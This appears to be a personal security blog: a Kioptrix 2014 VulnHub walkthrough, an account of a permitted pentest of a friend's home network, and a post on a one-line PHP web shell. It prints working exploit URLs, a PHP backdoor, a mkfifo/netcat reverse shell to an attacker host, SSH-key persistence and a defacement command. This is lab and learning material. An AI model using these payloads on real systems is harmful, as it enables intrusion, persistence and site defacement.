Kioptrix 2014

My lab time in the PWK course labs ran out a while back and I wasn’t ready for the exam. I think I understand all the theory that I need, it just takes m e too long to PWN systems, so I decided to try a few Vulnhub VMs. This article has a list of 10 that I will be trying, the first of which is Kioptrix 2014.

There are already walkthroughs all over the web, so I don’t feel like I’m giving away any spoilers here. I’m mostly documenting it for my own notes, but of course it can be used for hints if you’re going to give it a try.

I wanted to run in in VirtualBox, which requires the use of the extra “” file as wall as the VMDK from the main kiop2014.tar.bz2

After starting the VM, I had to find the system’s IP address, so I ran netdiscover and it was quickly found. To find the open ports and identify the services, I ran nmap:

root@kali:~# nmap [IP-REDACTED] -sV

Starting Nmap 7.40 ( ) at 2017-10-11 15:59 EDT
Nmap scan report for kioptrix2014.lan ([IP-REDACTED])
Host is up (0.00044s latency).
Not shown: 997 filtered ports
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:DC:55:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Opening a web browser on port 8080 shows a 403 forbidden error message. Nothing too interesting in the response. The page returned on port 80 is more interesting though… When rendered, it’s just a heading that says “It works!”, but the source includes a commented out <meta refresh> that would redirect the browser to http://[IP-REDACTED]/pChart2.1.3/examples/index.php.

Initially, I thought I could inject some PHP in here. For example if I went to the sandbox and  changed my chart title to -“.shell_exec(“whoami”).”- then clicked the “Show code” button, it showed me that one line of code that would run would be


but when I clicked “Render picture”, the title was-“.shell_exec(“whoami”).”-, so it must have escaped it somehow when it really made the picture. Damn.

Next thing to try is looking for a known exploit for pChart:

root@kali:~# searchsploit pchart
--------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
--------------------------------------------- ----------------------------------

That txt file suggests that I can read any file on the system that the account running apache can read using a maliciously crafted url, for example http://[IP-REDACTED]/examples/index.php?Action=View&Script=/etc/passwd

Interestingly, we can see how this exploit works by examining the first line of index.php, which can be seen by visiting http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action=View&Script=index.php , which is:

<?php if ( isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); } ?>

. We don’t even really need a value set for “Action”; http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=index.php works just as well.

Anyway, there’s not much of great interest that this account can access, but perhaps we can find out why we are seeing a 403 forbidden response when we connect to port 8080…

The apache config file on FreeBSD is located in /usr/local/etc/apache2x/httpd.conf, (on this system, since it’s apache 2.2, we should replace the “x” with a “2”) so we’ll look at that with http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=/usr/local/etc/apache22/httpd.conf and at the bottom of the file is:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser

This tells us that port 8080 is serving files from /usr/local/www/apache22/data2, and that requests will only be allowed if the user agent starts with “Mozilla/4.0 Mozilla4_browser” . See and for more details of how that works.

Changing our user agent to “Mozilla/4.0 Mozilla4_browser_NOT REALLY!” makes apache respond to our requests to port 80, and the response says that there is a directory called phptax. This shows us a very ugly and dated web application that I clicked around, but couldn’t find anything interesting, so I used searchsploit again:

root@kali:~# searchsploit phptax
------------------------------------------------------------------ ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------ ----------------------------------
PhpTax - pfilez Parameter Exec Remote Code Injection (Metasploit) | php/webapps/21833.rb
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
PhpTax 0.8 - File Manipulation (newvalue) / Remote Code Execution | php/webapps/25849.txt
------------------------------------------------------------------ ----------------------------------

The second one looks interesting, it basically says that we can get remote code execution because user input is not sanitised before being used in php’s exec() function. I’ll confirm this works by writing a single line php backdoor file by visiting http://[IP-REDACTED]:8080/phptax/drawimage.php?pfilez=xxx;echo “<?php echo shell_exec(\$_GET[‘e’].’ 2>%261′);?>”>backdoor.php;&pdf=make in my browser, then http://[IP-REDACTED]:8080/backdoor.php?e=whoami to make sure it worked. It did, and now I can execute shell commands and see the output

It would be really nice to have a remote shell. I tried using “nc <IP> <PORT> -e /bin/sh”, but that didn’t work and “nc -h” showed why; -e is for specifying an IPsec policy (whatever that means) on this version of nc. We’ll have to try something else; I remember some time ago that I was able to use a named fifo pipe in order to get a shell with nc. This command worked for me to connect to a netcat listener:

mkfifo pipe;nc [IP ADDR] [PORT]<pipe|/bin/sh>pipe 2>pipe;rm pipe

Running “uname -r” tells us that we’re on a FreeBSD 9.0 system. Let’s try to get root. Back to searchsploit:

root@kali:~# searchsploit -t FreeBSD 9
------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------- ----------------------------------
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20810.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20811.cpp
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20812.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20813.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20814.c
FreeBSD 9.1 ftpd - Remote Denial of Service | freebsd/dos/24450.txt
FreeBSD mcweject 0.9 (eject) - Buffer Overflow Privilege Escalation | bsd/local/3578.c
BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1. | unix/local/19203.c
FreeBSD 9.0 < 9.1 mmap/ptrace - Privilege Escalation | freebsd/local/26368.c
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD/x86 - rev connect_ recv_ jmp_ return results Shellcode (90 bytes | freebsd_x86/shellcode/13265.c
FreeBSD/x86 - Rortbind Reverse /bin/sh Shellcode (89 byte | freebsd_x86/shellcode/13267.asm
------------------------------------------------------------------------- ----------------------------------

26368 looks promising, let’s send it to the remote machine. I ran this on my attacking machine:

searchsploit -m 26368;nc -vnlp 6666 <26368.c

then ran this on the remote system:

nc 6666 >26368.c

and after a few seconds, I hit CTRL+C to close the nc session. Not I have the exploit on the FreeBSD system, so I can compile it and run it:

gcc 26368.c -o 26368

We’ve got root! Inside root’s home directory is a nice txt file with some interesting information that we can read using cat

I recently learned that the guy that made this VM (Steven “loneferret” McElrea) passed away a couple of months ago. I’m grateful for the time he put into making this VM and my thoughts go out to his family.

My first pentest on a friend’s network

Someone I have know for a while was aware of my growing interest in information security and I had warned them a while ago that their network was probably vulnerable to attack because I had seen some web services that were not password protected running out of their home public IP address.

I saw them over the Christmas/new year period and they gave me permission to try and penetrate their network, specifically they challenged me to change the root password on their unRAID server.

I started off by firing up my Backtrack 5r3 VM and updating everything before registering Nessus and performing a scan of his public IP address.

Nessus didn’t find anything that was listed as critical, but it did show me that we had ssh running on port 22 and it also showed me all other ports that were open and had web servers running on them. I checked them all out and I found on various ports; the default Lion server webpage, SABNZBd, SickBeard, Transmission, and the unRAID server.

The website served by the unRAID server was asking for a username and password using basic access authentication. That was no use so I started looking into the other services. Not only were the operating interfaces unsecured, but their configuration sections were also open to anyone. I saw that SABNZBd was running as “admin” and that it had an option of running scripts when a download had completed. The method was to point SABNZBd to a folder containing scripts, start a download and then choose what script to run on completion. I knew I could download a file using SABNZBd or Transmission to any directory that the admin user had write permissions to, but I didn’t know at this stage how to make it executable.

I saw in SABNZBd’s preferences that I could specify the permissions (in octal format) of files and folders that were downloaded, so I ran SABNZBd on my machine, created a binary post on a newsgroup containing a script that was basically a reverse shell and tested a download to my machine with SABNZBd set to mark everything at 777. It created a folder with 777 permissions, but the file was only 555. Presumably this was for security reasons – damn!

At this point I was wishing that his machine was running Windows not OSX because SABNZBd on Windows only requires that a scripts file extension is in the PATHEXT environment variable. That would have been much easier than getting a file marked as executable.

I had to find another way of making an executable script on that machine. How could I get that machine to run my commands without having an executable script set… The web server or course. I created my single line PHP shell again (mentioned in a previous post) and set Transmission to download files to the Lion web server default folder, created a torrent containing my php script and downloaded the torrent to the server using transmission. I tested it, with the command whoami, and it worked. I was in, but I was only the user _www.

What could I do as _www? Not much, but I was able to create a reverse shell using netcat and take a look around the system. I couldn’t access admin’s files yet, but of course I could write to /tmp. If I could write to /tmp, I could create a script and mark it as executable by everyone. Then I could get SABNZBd to run it! I started thinking about making a script that would create a reverse shell, then it dawned on me: create a public/private key pair and add it to /Users/admin/.ssh/authorized_keys.

I uploaded my public key using my php shell script, and then created an executable script in /tmp that appended my key to authorized_keys.

I started a new SABNZBd download (I decided to just download something that was small, free and released under the CC license) so as no to upset anyone. Obviously I now set my script to run. All went well and I could now ssh into the machine as the admin user without a password.

At this point I cleaned up everything I had downloaded and just left my key in place so I could log in. I took a look around, but I couldn’t see anything to do with the unRAID server, so I thought I should report how far I had got.

They were surprised, and while I didn’t get into the unRAID server, I had gotten a lot further than they thought anyone would be able to. As a result of this, they have since enabled logins on all their web services and removed my public key, but they still do have some vulnerabilities, like ssh running on a default port and allowing password authentication (ripe for brute forcing). They are a lot safer than they were, but it may well be worth me going back and having another go at some point in the future.

A lot of the methods that I have used in this test were inspired by the challenges I have been working through in and and I’m very grateful to them for making the challenges.

I’m tempted to try and create a VM with this vulnerable setup and release it. I would have to check the licences, but I think most of it could be done using open source solutions (linux, apache, sabnzbd, transmission)

Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.